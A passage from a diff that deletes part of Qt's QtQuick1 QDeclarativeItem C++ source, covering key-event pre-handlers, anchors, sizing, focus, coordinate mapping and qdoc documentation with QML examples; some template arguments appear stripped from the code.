QDeclarativeItem::keyReleasePreHandler(QKeyEvent *event) -{ - Q_D(QDeclarativeItem); - if (d->keyHandler && !d->doneEventPreHandler) - d->keyHandler->keyReleased(event, false); - else - event->ignore(); - d->doneEventPreHandler = true; -} - -/*! - \internal - */ -void QDeclarativeItem::inputMethodPreHandler(QInputMethodEvent *event) -{ - Q_D(QDeclarativeItem); - if (d->keyHandler && !d->doneEventPreHandler) - d->keyHandler->inputMethodEvent(event, false); - else - event->ignore(); - d->doneEventPreHandler = true; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::left() const -{ - return anchorLines()->left; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::right() const -{ - return anchorLines()->right; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::horizontalCenter() const -{ - return anchorLines()->hCenter; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::top() const -{ - return anchorLines()->top; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::bottom() const -{ - return anchorLines()->bottom; -} - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::verticalCenter() const -{ - return anchorLines()->vCenter; -} - - -/*! - \internal -*/ -QDeclarative1AnchorLine QDeclarativeItemPrivate::baseline() const -{ - return anchorLines()->baseline; -} - -/*! - \qmlproperty AnchorLine QtQuick1::Item::anchors.top - \qmlproperty AnchorLine QtQuick1::Item::anchors.bottom - \qmlproperty AnchorLine QtQuick1::Item::anchors.left - \qmlproperty AnchorLine QtQuick1::Item::anchors.right - \qmlproperty AnchorLine QtQuick1::Item::anchors.horizontalCenter - \qmlproperty AnchorLine QtQuick1::Item::anchors.verticalCenter - \qmlproperty AnchorLine QtQuick1::Item::anchors.baseline - - \qmlproperty Item QtQuick1::Item::anchors.fill - \qmlproperty Item QtQuick1::Item::anchors.centerIn - - \qmlproperty real QtQuick1::Item::anchors.margins - \qmlproperty real QtQuick1::Item::anchors.topMargin - \qmlproperty real QtQuick1::Item::anchors.bottomMargin - \qmlproperty real QtQuick1::Item::anchors.leftMargin - \qmlproperty real QtQuick1::Item::anchors.rightMargin - \qmlproperty real QtQuick1::Item::anchors.horizontalCenterOffset - \qmlproperty real QtQuick1::Item::anchors.verticalCenterOffset - \qmlproperty real QtQuick1::Item::anchors.baselineOffset - - \qmlproperty bool QtQuick1::Item::anchors.mirrored - - Anchors provide a way to position an item by specifying its - relationship with other items. - - Margins apply to top, bottom, left, right, and fill anchors. - The \c anchors.margins property can be used to set all of the various margins at once, to the same value. - Note that margins are anchor-specific and are not applied if an item does not - use anchors. - - Offsets apply for horizontal center, vertical center, and baseline anchors. - - \table - \row - \o \image declarative-anchors_example.png - \o Text anchored to Image, horizontally centered and vertically below, with a margin. - \qml - Item { - Image { - id: pic - // ... - } - Text { - id: label - anchors.horizontalCenter: pic.horizontalCenter - anchors.top: pic.bottom - anchors.topMargin: 5 - // ... - } - } - \endqml - \row - \o \image declarative-anchors_example2.png - \o - Left of Text anchored to right of Image, with a margin. The y - property of both defaults to 0. - - \qml - Item { - Image { - id: pic - // ... - } - Text { - id: label - anchors.left: pic.right - anchors.leftMargin: 5 - // ... - } - } - \endqml - \endtable - - \c anchors.fill provides a convenient way for one item to have the - same geometry as another item, and is equivalent to connecting all - four directional anchors. - - To clear an anchor value, set it to \c undefined. - - \c anchors.mirrored returns true it the layout has been \l {LayoutMirroring}{mirrored}. - - \note You can only anchor an item to siblings or a parent. - - For more information see \l {anchor-layout}{Anchor Layouts}. -*/ - -/*! - \property QDeclarativeItem::baselineOffset - \brief The position of the item's baseline in local coordinates. - - The baseline of a \l Text item is the imaginary line on which the text - sits. Controls containing text usually set their baseline to the - baseline of their text. - - For non-text items, a default baseline offset of 0 is used. -*/ -qreal QDeclarativeItem::baselineOffset() const -{ - Q_D(const QDeclarativeItem); - if (!d->baselineOffset.isValid()) { - return 0.0; - } else - return d->baselineOffset; -} - -void QDeclarativeItem::setBaselineOffset(qreal offset) -{ - Q_D(QDeclarativeItem); - if (offset == d->baselineOffset) - return; - - d->baselineOffset = offset; - - for(int ii = 0; ii < d->changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::Geometry) { - QDeclarative1AnchorsPrivate *anchor = change.listener->anchorPrivate(); - if (anchor) - anchor->updateVerticalAnchors(); - } - } - emit baselineOffsetChanged(offset); -} - -/*! - \qmlproperty real QtQuick1::Item::rotation - This property holds the rotation of the item in degrees clockwise. - - This specifies how many degrees to rotate the item around its transformOrigin. - The default rotation is 0 degrees (i.e. not rotated at all). - - \table - \row - \o \image declarative-rotation.png - \o - \qml - Rectangle { - color: "blue" - width: 100; height: 100 - Rectangle { - color: "red" - x: 25; y: 25; width: 50; height: 50 - rotation: 30 - } - } - \endqml - \endtable - - \sa transform, Rotation -*/ - -/*! - \qmlproperty real QtQuick1::Item::scale - This property holds the scale of the item. - - A scale of less than 1 means the item will be displayed smaller than - normal, and a scale of greater than 1 means the item will be - displayed larger than normal. A negative scale means the item will - be mirrored. - - By default, items are displayed at a scale of 1 (i.e. at their - normal size). - - Scaling is from the item's transformOrigin. - - \table - \row - \o \image declarative-scale.png - \o - \qml - Rectangle { - color: "blue" - width: 100; height: 100 - Rectangle { - color: "green" - width: 25; height: 25 - } - Rectangle { - color: "red" - x: 25; y: 25; width: 50; height: 50 - scale: 1.4 - } - } - \endqml - \endtable - - \sa transform, Scale -*/ - -/*! - \qmlproperty real QtQuick1::Item::opacity - - This property holds the opacity of the item. Opacity is specified as a - number between 0 (fully transparent) and 1 (fully opaque). The default is 1. - - When this property is set, the specified opacity is also applied - individually to child items. In almost all cases this is what you want, - but in some cases it may produce undesired results. For example in the - second set of rectangles below, the red rectangle has specified an opacity - of 0.5, which affects the opacity of its blue child rectangle even though - the child has not specified an opacity. - - \table - \row - \o \image declarative-item_opacity1.png - \o - \qml - Item { - Rectangle { - color: "red" - width: 100; height: 100 - Rectangle { - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - } - \endqml - \row - \o \image declarative-item_opacity2.png - \o - \qml - Item { - Rectangle { - opacity: 0.5 - color: "red" - width: 100; height: 100 - Rectangle { - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - } - \endqml - \endtable - - If an item's opacity is set to 0, the item will no longer receive mouse - events, but will continue to receive key events and will retain the keyboard - \l focus if it has been set. (In contrast, setting the \l visible property - to \c false stops both mouse and keyboard events, and also removes focus - from the item.) -*/ - -/*! - Returns a value indicating whether mouse input should - remain with this item exclusively. - - \sa setKeepMouseGrab() - */ -bool QDeclarativeItem::keepMouseGrab() const -{ - Q_D(const QDeclarativeItem); - return d->keepMouse; -} - -/*! - The flag indicating whether the mouse should remain - with this item is set to \a keep. - - This is useful for items that wish to grab and keep mouse - interaction following a predefined gesture. For example, - an item that is interested in horizontal mouse movement - may set keepMouseGrab to true once a threshold has been - exceeded. Once keepMouseGrab has been set to true, filtering - items will not react to mouse events. - - If the item does not indicate that it wishes to retain mouse grab, - a filtering item may steal the grab. For example, Flickable may attempt - to steal a mouse grab if it detects that the user has begun to - move the viewport. - - \sa keepMouseGrab() - */ -void QDeclarativeItem::setKeepMouseGrab(bool keep) -{ - Q_D(QDeclarativeItem); - d->keepMouse = keep; -} - -/*! - \qmlmethod object QtQuick1::Item::mapFromItem(Item item, real x, real y) - - Maps the point (\a x, \a y), which is in \a item's coordinate system, to - this item's coordinate system, and returns an object with \c x and \c y - properties matching the mapped cooordinate. - - If \a item is a \c null value, this maps the point from the coordinate - system of the root QML view. -*/ -void QDeclarativeItem::mapFromItem(QDeclarativeV8Function *args) const -{ - if (args->Length() != 0) { - v8::Local item = (*args)[0]; - QV8Engine *engine = args->engine(); - - QDeclarativeItem *itemObj = 0; - if (!item->IsNull()) - itemObj = qobject_cast(engine->toQObject(item)); - - if (!itemObj && !item->IsNull()) { - qmlInfo(this) << "mapFromItem() given argument \"" << engine->toString(item->ToString()) - << "\" which is neither null nor an Item"; - return; - } - - v8::Local rv = v8::Object::New(); - args->returnValue(rv); - - qreal x = (args->Length() > 1)?(*args)[1]->NumberValue():0; - qreal y = (args->Length() > 2)?(*args)[2]->NumberValue():0; - - QPointF p = QGraphicsItem::mapFromItem(itemObj, x, y); - - rv->Set(v8::String::New("x"), v8::Number::New(p.x())); - rv->Set(v8::String::New("y"), v8::Number::New(p.y())); - } -} - -/*! - \qmlmethod object QtQuick1::Item::mapToItem(Item item, real x, real y) - - Maps the point (\a x, \a y), which is in this item's coordinate system, to - \a item's coordinate system, and returns an object with \c x and \c y - properties matching the mapped cooordinate. - - If \a item is a \c null value, this maps \a x and \a y to the coordinate - system of the root QML view. -*/ -void QDeclarativeItem::mapToItem(QDeclarativeV8Function *args) const -{ - if (args->Length() != 0) { - v8::Local item = (*args)[0]; - QV8Engine *engine = args->engine(); - - QDeclarativeItem *itemObj = 0; - if (!item->IsNull()) - itemObj = qobject_cast(engine->toQObject(item)); - - if (!itemObj && !item->IsNull()) { - qmlInfo(this) << "mapToItem() given argument \"" << engine->toString(item->ToString()) - << "\" which is neither null nor an Item"; - return; - } - - v8::Local rv = v8::Object::New(); - args->returnValue(rv); - - qreal x = (args->Length() > 1)?(*args)[1]->NumberValue():0; - qreal y = (args->Length() > 2)?(*args)[2]->NumberValue():0; - - QPointF p = QGraphicsItem::mapToItem(itemObj, x, y); - - rv->Set(v8::String::New("x"), v8::Number::New(p.x())); - rv->Set(v8::String::New("y"), v8::Number::New(p.y())); - } -} - -/*! - \qmlmethod QtQuick1::Item::forceActiveFocus() - - Forces active focus on the item. - - This method sets focus on the item and makes sure that all the focus scopes - higher in the object hierarchy are also given the focus. -*/ - -/*! - Forces active focus on the item. - - This method sets focus on the item and makes sure that all the focus scopes - higher in the object hierarchy are also given the focus. -*/ -void QDeclarativeItem::forceActiveFocus() -{ - setFocus(true); - QGraphicsItem *parent = parentItem(); - while (parent) { - if (parent->flags() & QGraphicsItem::ItemIsFocusScope) - parent->setFocus(Qt::OtherFocusReason); - parent = parent->parentItem(); - } -} - - -/*! - \qmlmethod QtQuick1::Item::childAt(real x, real y) - - Returns the visible child item at point (\a x, \a y), which is in this - item's coordinate system, or \c null if there is no such item. -*/ - -/*! - Returns the visible child item at point (\a x, \a y), which is in this - item's coordinate system, or 0 if there is no such item. -*/ -QDeclarativeItem *QDeclarativeItem::childAt(qreal x, qreal y) const -{ - const QList children = childItems(); - for (int i = children.count()-1; i >= 0; --i) { - if (QDeclarativeItem *child = qobject_cast(children.at(i))) { - if (child->isVisible() && child->x() <= x - && child->x() + child->width() >= x - && child->y() <= y - && child->y() + child->height() >= y) - return child; - } - } - return 0; -} - -void QDeclarativeItemPrivate::focusChanged(bool flag) -{ - Q_Q(QDeclarativeItem); - if (!(flags & QGraphicsItem::ItemIsFocusScope) && parent) - emit q->activeFocusChanged(flag); //see also QDeclarativeItemPrivate::subFocusItemChange() - emit q->focusChanged(flag); -} - -QDeclarativeListProperty QDeclarativeItemPrivate::resources() -{ - return QDeclarativeListProperty(q_func(), 0, QDeclarativeItemPrivate::resources_append, - QDeclarativeItemPrivate::resources_count, - QDeclarativeItemPrivate::resources_at, - QDeclarativeItemPrivate::resources_clear - ); -} - -/*! - \qmlproperty list QtQuick1::Item::states - This property holds a list of states defined by the item. - - \qml - Item { - states: [ - State { - // ... - }, - State { - // ... - } - // ... - ] - } - \endqml - - \sa {qmlstate}{States} -*/ - -QDeclarativeListProperty QDeclarativeItemPrivate::states() -{ - return _states()->statesProperty(); -} - -/*! - \qmlproperty list QtQuick1::Item::transitions - This property holds a list of transitions defined by the item. - - \qml - Item { - transitions: [ - Transition { - // ... - }, - Transition { - // ... - } - // ... - ] - } - \endqml - - \sa {QML Animation and Transitions}{Transitions} -*/ - - -QDeclarativeListProperty QDeclarativeItemPrivate::transitions() -{ - return _states()->transitionsProperty(); -} - -/* - \qmlproperty list QtQuick1::Item::filter - This property holds a list of graphical filters to be applied to the item. - - \l {Filter}{Filters} include things like \l {Blur}{blurring} - the item, or giving it a \l Reflection. Some - filters may not be available on all canvases; if a filter is not - available on a certain canvas, it will simply not be applied for - that canvas (but the QML will still be considered valid). - - \qml - Item { - filter: [ - Blur { - // ... - }, - Reflection { - // ... - } - // ... - ] - } - \endqml -*/ - -/*! - \qmlproperty bool QtQuick1::Item::clip - This property holds whether clipping is enabled. The default clip value is \c false. - - If clipping is enabled, an item will clip its own painting, as well - as the painting of its children, to its bounding rectangle. - - Non-rectangular clipping regions are not supported for performance reasons. -*/ - -/*! - \property QDeclarativeItem::clip - This property holds whether clipping is enabled. The default clip value is \c false. - - If clipping is enabled, an item will clip its own painting, as well - as the painting of its children, to its bounding rectangle. If you set - clipping during an item's paint operation, remember to re-set it to - prevent clipping the rest of your scene. - - Non-rectangular clipping regions are not supported for performance reasons. -*/ - -/*! - \qmlproperty string QtQuick1::Item::state - - This property holds the name of the current state of the item. - - This property is often used in scripts to change between states. For - example: - - \js - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endjs - - If the item is in its base state (i.e. no explicit state has been - set), \c state will be a blank string. Likewise, you can return an - item to its base state by setting its current state to \c ''. - - \sa {qmlstates}{States} -*/ - -QString QDeclarativeItemPrivate::state() const -{ - if (!_stateGroup) - return QString(); - else - return _stateGroup->state(); -} - -void QDeclarativeItemPrivate::setState(const QString &state) -{ - _states()->setState(state); -} - -/*! - \qmlproperty list QtQuick1::Item::transform - This property holds the list of transformations to apply. - - For more information see \l Transform. -*/ - -/*! \internal */ -QDeclarativeListProperty QDeclarativeItem::transform() -{ - return QDeclarativeListProperty(this, 0, QDeclarativeItemPrivate::transform_append, - QDeclarativeItemPrivate::transform_count, - QDeclarativeItemPrivate::transform_at, - QDeclarativeItemPrivate::transform_clear); -} - -/*! - \internal - - classBegin() is called when the item is constructed, but its - properties have not yet been set. - - \sa componentComplete(), isComponentComplete() -*/ -void QDeclarativeItem::classBegin() -{ - Q_D(QDeclarativeItem); - d->componentComplete = false; - if (d->_stateGroup) - d->_stateGroup->classBegin(); - if (d->_anchors) - d->_anchors->classBegin(); -} - -/*! - \internal - - componentComplete() is called when all items in the component - have been constructed. It is often desirable to delay some - processing until the component is complete an all bindings in the - component have been resolved. -*/ -void QDeclarativeItem::componentComplete() -{ - Q_D(QDeclarativeItem); - d->componentComplete = true; - if (d->_stateGroup) - d->_stateGroup->componentComplete(); - if (d->_anchors) { - d->_anchors->componentComplete(); - d->_anchors->d_func()->updateOnComplete(); - } - if (d->keyHandler) - d->keyHandler->componentComplete(); - if (d->_contents) - d->_contents->complete(); -} - -QDeclarative1StateGroup *QDeclarativeItemPrivate::_states() -{ - Q_Q(QDeclarativeItem); - if (!_stateGroup) { - _stateGroup = new QDeclarative1StateGroup; - if (!componentComplete) - _stateGroup->classBegin(); - QObject::connect(_stateGroup, SIGNAL(stateChanged(QString)), - q, SIGNAL(stateChanged(QString))); - } - - return _stateGroup; -} - -QDeclarativeItemPrivate::AnchorLines::AnchorLines(QGraphicsObject *q) -{ - left.item = q; - left.anchorLine = QDeclarative1AnchorLine::Left; - right.item = q; - right.anchorLine = QDeclarative1AnchorLine::Right; - hCenter.item = q; - hCenter.anchorLine = QDeclarative1AnchorLine::HCenter; - top.item = q; - top.anchorLine = QDeclarative1AnchorLine::Top; - bottom.item = q; - bottom.anchorLine = QDeclarative1AnchorLine::Bottom; - vCenter.item = q; - vCenter.anchorLine = QDeclarative1AnchorLine::VCenter; - baseline.item = q; - baseline.anchorLine = QDeclarative1AnchorLine::Baseline; -} - -void QDeclarativeItemPrivate::setAccessibleFlagAndListener() -{ - Q_Q(QDeclarativeItem); - QDeclarativeItem *item = q; - while (item) { - if (item->d_func()->isAccessible) - break; // already set - grandparents should have the flag set as well. - -// if (qmlEngine(item) != 0) { -// item->d_func()->addItemChangeListener(QDeclarativeEnginePrivate::getAccessibilityUpdateManager(qmlEngine(item)), -// QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Visibility | -// QDeclarativeItemPrivate::Opacity | QDeclarativeItemPrivate::Destroyed); -// } - - item->d_func()->isAccessible = true; - item = item->parentItem(); - } -} - -QPointF QDeclarativeItemPrivate::computeTransformOrigin() const -{ - Q_Q(const QDeclarativeItem); - - QRectF br = q->boundingRect(); - - switch(origin) { - default: - case QDeclarativeItem::TopLeft: - return QPointF(0, 0); - case QDeclarativeItem::Top: - return QPointF(br.width() / 2., 0); - case QDeclarativeItem::TopRight: - return QPointF(br.width(), 0); - case QDeclarativeItem::Left: - return QPointF(0, br.height() / 2.); - case QDeclarativeItem::Center: - return QPointF(br.width() / 2., br.height() / 2.); - case QDeclarativeItem::Right: - return QPointF(br.width(), br.height() / 2.); - case QDeclarativeItem::BottomLeft: - return QPointF(0, br.height()); - case QDeclarativeItem::Bottom: - return QPointF(br.width() / 2., br.height()); - case QDeclarativeItem::BottomRight: - return QPointF(br.width(), br.height()); - } -} - -/*! \internal */ -bool QDeclarativeItem::sceneEvent(QEvent *event) -{ - Q_D(QDeclarativeItem); - if (event->type() == QEvent::KeyPress) { - QKeyEvent *k = static_cast(event); - if ((k->key() == Qt::Key_Tab || k->key() == Qt::Key_Backtab) && - !(k->modifiers() & (Qt::ControlModifier | Qt::AltModifier))) { - keyPressEvent(static_cast(event)); - if (!event->isAccepted()) - return QGraphicsItem::sceneEvent(event); - else - return true; - } else { - return QGraphicsItem::sceneEvent(event); - } - } else { - bool rv = QGraphicsItem::sceneEvent(event); - - if (event->type() == QEvent::FocusIn || - event->type() == QEvent::FocusOut) { - d->focusChanged(hasActiveFocus()); - } - return rv; - } -} - -/*! - \internal - - Note that unlike QGraphicsItems, QDeclarativeItem::itemChange() is \e not called - during initial widget polishing. Items wishing to optimize start-up construction - should instead consider using componentComplete(). -*/ -QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - Q_D(QDeclarativeItem); - switch (change) { - case ItemParentHasChanged: - d->resolveLayoutMirror(); - emit parentChanged(parentItem()); - break; - case ItemVisibleHasChanged: { - for(int ii = 0; ii < d->changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::Visibility) { - change.listener->itemVisibilityChanged(this); - } - } - } - break; - case ItemOpacityHasChanged: { - for(int ii = 0; ii < d->changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::Opacity) { - change.listener->itemOpacityChanged(this); - } - } - } - break; - case ItemChildAddedChange: - if (d->_contents && d->componentComplete) - d->_contents->childAdded(qobject_cast( - value.value())); - break; - case ItemChildRemovedChange: - if (d->_contents && d->componentComplete) - d->_contents->childRemoved(qobject_cast( - value.value())); - break; - default: - break; - } - - return QGraphicsItem::itemChange(change, value); -} - -/*! \internal */ -QRectF QDeclarativeItem::boundingRect() const -{ - Q_D(const QDeclarativeItem); - return QRectF(0, 0, d->mWidth, d->mHeight); -} - -/*! - \enum QDeclarativeItem::TransformOrigin - - Controls the point about which simple transforms like scale apply. - - \value TopLeft The top-left corner of the item. - \value Top The center point of the top of the item. - \value TopRight The top-right corner of the item. - \value Left The left most point of the vertical middle. - \value Center The center of the item. - \value Right The right most point of the vertical middle. - \value BottomLeft The bottom-left corner of the item. - \value Bottom The center point of the bottom of the item. - \value BottomRight The bottom-right corner of the item. -*/ - -/*! - Returns the current transform origin. -*/ -QDeclarativeItem::TransformOrigin QDeclarativeItem::transformOrigin() const -{ - Q_D(const QDeclarativeItem); - return d->origin; -} - -/*! - Set the transform \a origin. -*/ -void QDeclarativeItem::setTransformOrigin(TransformOrigin origin) -{ - Q_D(QDeclarativeItem); - if (origin != d->origin) { - d->origin = origin; - if (d->transformData) - QGraphicsItem::setTransformOriginPoint(d->computeTransformOrigin()); - else - d->transformOriginDirty = true; - emit transformOriginChanged(d->origin); - } -} - -void QDeclarativeItemPrivate::transformChanged() -{ - Q_Q(QDeclarativeItem); - if (transformOriginDirty) { - q->QGraphicsItem::setTransformOriginPoint(computeTransformOrigin()); - transformOriginDirty = false; - } -} - -/*! - \property QDeclarativeItem::smooth - \brief whether the item is smoothly transformed. - - This property is provided purely for the purpose of optimization. Turning - smooth transforms off is faster, but looks worse; turning smooth - transformations on is slower, but looks better. - - By default smooth transformations are off. -*/ - -/*! - Returns true if the item should be drawn with antialiasing and - smooth pixmap filtering, false otherwise. - - The default is false. - - \sa setSmooth() -*/ -bool QDeclarativeItem::smooth() const -{ - Q_D(const QDeclarativeItem); - return d->smooth; -} - -/*! - Sets whether the item should be drawn with antialiasing and - smooth pixmap filtering to \a smooth. - - \sa smooth() -*/ -void QDeclarativeItem::setSmooth(bool smooth) -{ - Q_D(QDeclarativeItem); - if (d->smooth == smooth) - return; - d->smooth = smooth; - emit smoothChanged(smooth); - update(); -} - -/*! - \property QDeclarativeItem::anchors - \internal -*/ - -/*! - \property QDeclarativeItem::left - \internal -*/ - -/*! - \property QDeclarativeItem::right - \internal -*/ - -/*! - \property QDeclarativeItem::horizontalCenter - \internal -*/ - -/*! - \property QDeclarativeItem::top - \internal -*/ - -/*! - \property QDeclarativeItem::bottom - \internal -*/ - -/*! - \property QDeclarativeItem::verticalCenter - \internal -*/ - -/*! - \property QDeclarativeItem::focus - \internal -*/ - -/*! - \property QDeclarativeItem::transform - \internal -*/ - -/*! - \property QDeclarativeItem::transformOrigin - \internal -*/ - -/*! - \property QDeclarativeItem::activeFocus - \internal -*/ - -/*! - \property QDeclarativeItem::baseline - \internal -*/ - -/*! - \property QDeclarativeItem::data - \internal -*/ - -/*! - \property QDeclarativeItem::resources - \internal -*/ - -/*! - \property QDeclarativeItem::state - \internal -*/ - -/*! - \property QDeclarativeItem::states - \internal -*/ - -/*! - \property QDeclarativeItem::transformOriginPoint - \internal -*/ - -/*! - \property QDeclarativeItem::transitions - \internal -*/ - -/*! - \internal - Return the width of the item -*/ -qreal QDeclarativeItem::width() const -{ - Q_D(const QDeclarativeItem); - return d->width(); -} - -/*! - \internal - Set the width of the item -*/ -void QDeclarativeItem::setWidth(qreal w) -{ - Q_D(QDeclarativeItem); - d->setWidth(w); -} - -/*! - \internal - Reset the width of the item -*/ -void QDeclarativeItem::resetWidth() -{ - Q_D(QDeclarativeItem); - d->resetWidth(); -} - -/*! - \internal - Return the width of the item -*/ -qreal QDeclarativeItemPrivate::width() const -{ - return mWidth; -} - -/*! - \internal -*/ -void QDeclarativeItemPrivate::setWidth(qreal w) -{ - Q_Q(QDeclarativeItem); - if (qIsNaN(w)) - return; - - widthValid = true; - if (mWidth == w) - return; - - qreal oldWidth = mWidth; - - q->prepareGeometryChange(); - mWidth = w; - - q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), - QRectF(q->x(), q->y(), oldWidth, height())); -} - -/*! - \internal -*/ -void QDeclarativeItemPrivate::resetWidth() -{ - Q_Q(QDeclarativeItem); - widthValid = false; - q->setImplicitWidth(q->implicitWidth()); -} - -void QDeclarativeItemPrivate::implicitWidthChanged() -{ - Q_Q(QDeclarativeItem); - emit q->implicitWidthChanged(); -} - -qreal QDeclarativeItemPrivate::implicitWidth() const -{ - return mImplicitWidth; -} - -/*! - Returns the width of the item that is implied by other properties that determine the content. -*/ -qreal QDeclarativeItem::implicitWidth() const -{ - Q_D(const QDeclarativeItem); - return d->implicitWidth(); -} - -/*! - Sets the implied width of the item to \a w. - This is the width implied by other properties that determine the content. -*/ -void QDeclarativeItem::setImplicitWidth(qreal w) -{ - Q_D(QDeclarativeItem); - bool changed = w != d->mImplicitWidth; - d->mImplicitWidth = w; - if (d->mWidth == w || widthValid()) { - if (changed) - d->implicitWidthChanged(); - return; - } - - qreal oldWidth = d->mWidth; - - prepareGeometryChange(); - d->mWidth = w; - - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), oldWidth, height())); - - if (changed) - d->implicitWidthChanged(); -} - -/*! - Returns whether the width property has been set explicitly. -*/ -bool QDeclarativeItem::widthValid() const -{ - Q_D(const QDeclarativeItem); - return d->widthValid; -} - -/*! - \internal - Return the height of the item -*/ -qreal QDeclarativeItem::height() const -{ - Q_D(const QDeclarativeItem); - return d->height(); -} - -/*! - \internal - Set the height of the item -*/ -void QDeclarativeItem::setHeight(qreal h) -{ - Q_D(QDeclarativeItem); - d->setHeight(h); -} - -/*! - \internal - Reset the height of the item -*/ -void QDeclarativeItem::resetHeight() -{ - Q_D(QDeclarativeItem); - d->resetHeight(); -} - -/*! - \internal -*/ -qreal QDeclarativeItemPrivate::height() const -{ - return mHeight; -} - -/*! - \internal -*/ -void QDeclarativeItemPrivate::setHeight(qreal h) -{ - Q_Q(QDeclarativeItem); - if (qIsNaN(h)) - return; - - heightValid = true; - if (mHeight == h) - return; - - qreal oldHeight = mHeight; - - q->prepareGeometryChange(); - mHeight = h; - - q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), - QRectF(q->x(), q->y(), width(), oldHeight)); -} - -/*! - \internal -*/ -void QDeclarativeItemPrivate::resetHeight() -{ - Q_Q(QDeclarativeItem); - heightValid = false; - q->setImplicitHeight(q->implicitHeight()); -} - -void QDeclarativeItemPrivate::implicitHeightChanged() -{ - Q_Q(QDeclarativeItem); - emit q->implicitHeightChanged(); -} - -qreal QDeclarativeItemPrivate::implicitHeight() const -{ - return mImplicitHeight; -} - -/*! - Returns the height of the item that is implied by other properties that determine the content. -*/ -qreal QDeclarativeItem::implicitHeight() const -{ - Q_D(const QDeclarativeItem); - return d->implicitHeight(); -} - -/*! - \qmlproperty real QtQuick1::Item::implicitWidth - \qmlproperty real QtQuick1::Item::implicitHeight - \since Quick 1.1 - - Defines the natural width or height of the Item if no \l width or \l height is specified. - - The default implicit size for most items is 0x0, however some elements have an inherent - implicit size which cannot be overridden, e.g. Image, Text. - - Setting the implicit size is useful for defining components that have a preferred size - based on their content, for example: - - \qml - // Label.qml - import QtQuick 1.1 - - Item { - property alias icon: image.source - property alias label: text.text - implicitWidth: text.implicitWidth + image.implicitWidth - implicitHeight: Math.max(text.implicitHeight, image.implicitHeight) - Image { id: image } - Text { - id: text - wrapMode: Text.Wrap - anchors.left: image.right; anchors.right: parent.right - anchors.verticalCenter: parent.verticalCenter - } - } - \endqml - - \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly - incurs a performance penalty as the text must be laid out twice. -*/ - - -/*! - Sets the implied height of the item to \a h. - This is the height implied by other properties that determine the content. -*/ -void QDeclarativeItem::setImplicitHeight(qreal h) -{ - Q_D(QDeclarativeItem); - bool changed = h != d->mImplicitHeight; - d->mImplicitHeight = h; - if (d->mHeight == h || heightValid()) { - if (changed) - d->implicitHeightChanged(); - return; - } - - qreal oldHeight = d->mHeight; - - prepareGeometryChange(); - d->mHeight = h; - - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), width(), oldHeight)); - - if (changed) - d->implicitHeightChanged(); -} - -/*! - Returns whether the height property has been set explicitly. -*/ -bool QDeclarativeItem::heightValid() const -{ - Q_D(const QDeclarativeItem); - return d->heightValid; -} - -/*! \internal */ -void QDeclarativeItem::setSize(const QSizeF &size) -{ - Q_D(QDeclarativeItem); - d->heightValid = true; - d->widthValid = true; - - if (d->height() == size.height() && d->width() == size.width()) - return; - - qreal oldHeight = d->height(); - qreal oldWidth = d->width(); - - prepareGeometryChange(); - d->setHeight(size.height()); - d->setWidth(size.width()); - - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), oldWidth, oldHeight)); -} - -/*! - \qmlproperty bool QtQuick1::Item::activeFocus - - This property indicates whether the item has active focus. - - An item with active focus will receive keyboard input, - or is a FocusScope ancestor of the item that will receive keyboard input. - - Usually, activeFocus is gained by setting focus on an item and its enclosing - FocusScopes. In the following example \c input will have activeFocus. - \qml - Rectangle { - FocusScope { - focus: true - TextInput { - id: input - focus: true - } - } - } - \endqml - - \sa focus, {qmlfocus}{Keyboard Focus} -*/ - -/*! \internal */ -bool QDeclarativeItem::hasActiveFocus() const -{ - Q_D(const QDeclarativeItem); - return (focusItem() && focusItem()->isVisible()) && (focusItem() == this || - (d->flags & QGraphicsItem::ItemIsFocusScope && focusItem() != 0)); -} - -/*! - \qmlproperty bool QtQuick1::Item::focus - This property indicates whether the item has focus within the enclosing focus scope. If true, this item - will gain active focus when the enclosing focus scope gains active focus. - In the following example, \c input will be given active focus when \c scope gains active focus. - \qml - Rectangle { - FocusScope { - id: scope - TextInput { - id: input - focus: true - } - } - } - \endqml - - For the purposes of this property, the scene as a whole is assumed to act like a focus scope. - On a practical level, that means the following QML will give active focus to \c input on startup. - - \qml - Rectangle { - TextInput { - id: input - focus: true - } - } - \endqml - - \sa activeFocus, {qmlfocus}{Keyboard Focus} -*/ - -/*! \internal */ -bool QDeclarativeItem::hasFocus() const -{ - Q_D(const QDeclarativeItem); - QGraphicsItem *p = d->parent; - while (p) { - if (p->flags() & QGraphicsItem::ItemIsFocusScope) { - return p->focusScopeItem() == this; - } - p = p->parentItem(); - } - - return hasActiveFocus(); -} - -/*! \internal */ -void QDeclarativeItem::setFocus(bool focus) -{ - if (focus) - QGraphicsItem::setFocus(Qt::OtherFocusReason); - else - QGraphicsItem::clearFocus(); -} - -/*! - \internal -*/ -void QDeclarativeItem::paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *) -{ -} - -/*! - \internal -*/ -bool QDeclarativeItem::event(QEvent *ev) -{ - Q_D(QDeclarativeItem); - switch (ev->type()) { - case QEvent::KeyPress: - case QEvent::KeyRelease: - case QEvent::InputMethod: - d->doneEventPreHandler = 